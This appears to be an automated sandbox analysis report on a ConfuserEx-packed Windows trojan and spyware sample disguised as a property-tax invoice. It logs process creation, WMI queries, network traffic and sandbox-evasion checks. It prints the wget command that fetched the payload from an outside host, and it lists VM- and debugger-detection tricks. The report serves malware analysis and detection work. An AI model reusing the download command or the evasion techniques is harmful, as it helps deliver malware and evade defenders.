Source: 6.2.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: 6.0.P90GT_Invoice_Related_Property_Tax_P800.exe.7a0000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe, type: DROPPED	Matched rule: SUSP_NET_NAME_ConfuserEx author = Arnim Rupp, description = Detects ConfuserEx packed file, reference = https://github.com/yck1509/ConfuserEx, license = Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE, score = 2021-01-22, modified = 2021-01-25

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D1A1E7	4_2_00D1A1E7
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D18318	4_2_00D18318
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D10470	4_2_00D10470
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D14410	4_2_00D14410
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D1E928	4_2_00D1E928
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D1436F	4_2_00D1436F
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D18308	4_2_00D18308
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D10460	4_2_00D10460
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D195D8	4_2_00D195D8
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 4_2_00D195C9	4_2_00D195C9
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_00E9DE10	6_2_00E9DE10
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_00E9D2F0	6_2_00E9D2F0
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BE21D8	6_2_02BE21D8
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BE68F8	6_2_02BE68F8
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BEBE80	6_2_02BEBE80
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BE1D98	6_2_02BE1D98
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BE0190	6_2_02BE0190
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BE2610	6_2_02BE2610
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_0509772B	6_2_0509772B
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_05097738	6_2_05097738
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_050948F0	6_2_050948F0

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Process Stats: CPU usage > 98%

Source: P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr

Static PE information: Section: T,y"J8 ZLIB complexity 1.00034832803

Source: C:\Windows\SysWOW64\wget.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe"
Source: unknown	Process created: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe "C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe"
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process created: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -T 60 -P "C:\Users\user\Desktop\download" --no-check-certificate --content-disposition --user-agent="Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" "http://www.sdrclm.cn/vendor/phpdocumentor/P800/P90GT_Invoice_Related_Property_Tax_P800.exe"	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process created: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{56FDF344-FD6D-11d0-958A-006097C9A090}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\Desktop\cmdline.out

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

File created: C:\Users\user\AppData\Local\Temp\tmpBC5D.tmp

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.win@8/29@6/4

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6472:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6784:120:WilError_01

Source: C:\Windows\SysWOW64\wget.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: c:\Users\Mysterio\Documents\Visual Studio 2012\Projects\Coronavirus\Coronavirus\obj\Debug\Coronavirus.pdbBSJB source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519799807.0000000004AE0000.00000004.08000000.00040000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.517300234.0000000002671000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\Users\Mysterio\Documents\Visual Studio 2012\Projects\Coronavirus\Coronavirus\obj\Debug\Coronavirus.pdb source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.519799807.0000000004AE0000.00000004.08000000.00040000.00000000.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.517300234.0000000002671000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_02BED91B push A405083Eh; retf	6_2_02BED925
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_050987C3 push eax; iretd	6_2_050987C9
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_0509E12A pushad ; retf	6_2_0509E1F1
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_0509E028 push ecx; iretd	6_2_0509E029
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_0509E044 push eax; iretd	6_2_0509E04A
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_05097393 push esp; ret	6_2_05097399
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Code function: 6_2_05098810 pushfd ; iretd	6_2_05098819

Source: P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr	Static PE information: section name: T,y"J8
Source: P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr	Static PE information: section name:

Source: initial sample

Static PE information: section name: T,y"J8 entropy: 7.99896508555

Source: C:\Windows\SysWOW64\wget.exe

File created: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 17685
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 17685
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 17685
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 17685
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 17685 -> 49755

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000000.249425394.00000000002D2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.516154877.00000000002FA000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254878149.00000000007A2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr	Binary or memory string: R'). ONLY 'WINDBG.EXE' OR 'CDB.EXE' ARE SUPPORTED.
Source: P90GT_Invoice_Related_Property_Tax_P800.exe	Binary or memory string: '). ONLY 'WINDBG.EXE' OR 'CDB.EXE' ARE SUPPORTED.
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254878149.00000000007A2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr	Binary or memory string: WINDBG.EXE
Source: P90GT_Invoice_Related_Property_Tax_P800.exe	Binary or memory string: CONFIGURATION FILE CREATED. PLEASE EDIT THE PATH TO THE DEBUGGERS (WINDBG.EXE OR CDB.EXE).
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000000.249425394.00000000002D2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.516154877.00000000002FA000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254878149.00000000007A2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr	Binary or memory string: PLEASE EDIT THE PATH TO THE DEBUGGERS (WINDBG.EXE OR CDB.EXE).7
Source: P90GT_Invoice_Related_Property_Tax_P800.exe	Binary or memory string: <CONFIG>: MAIN NODE. <DEBUGGER>: SUPPORTED DEBUGGERS ARE WINDBG.EXE AND CDB.EXE. EXE64: FULL PATH OF THE 64-BIT VERSION
Source: P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000000.249425394.00000000002D2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000004.00000002.516154877.00000000002FA000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe, 00000006.00000000.254878149.00000000007A2000.00000002.00000001.01000000.00000003.sdmp, P90GT_Invoice_Related_Property_Tax_P800.exe.2.dr	Binary or memory string: <DEBUGGER>: SUPPORTED DEBUGGERS ARE WINDBG.EXE AND CDB.EXE.

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe TID: 6348

Thread sleep time: -21213755684765971s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Window / User API: threadDelayed 4946			Jump to behavior
Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe	Window / User API: threadDelayed 4707			Jump to behavior

Source: C:\Users\user\Desktop\download\P90GT_Invoice_Related_Property_Tax_P800.exe

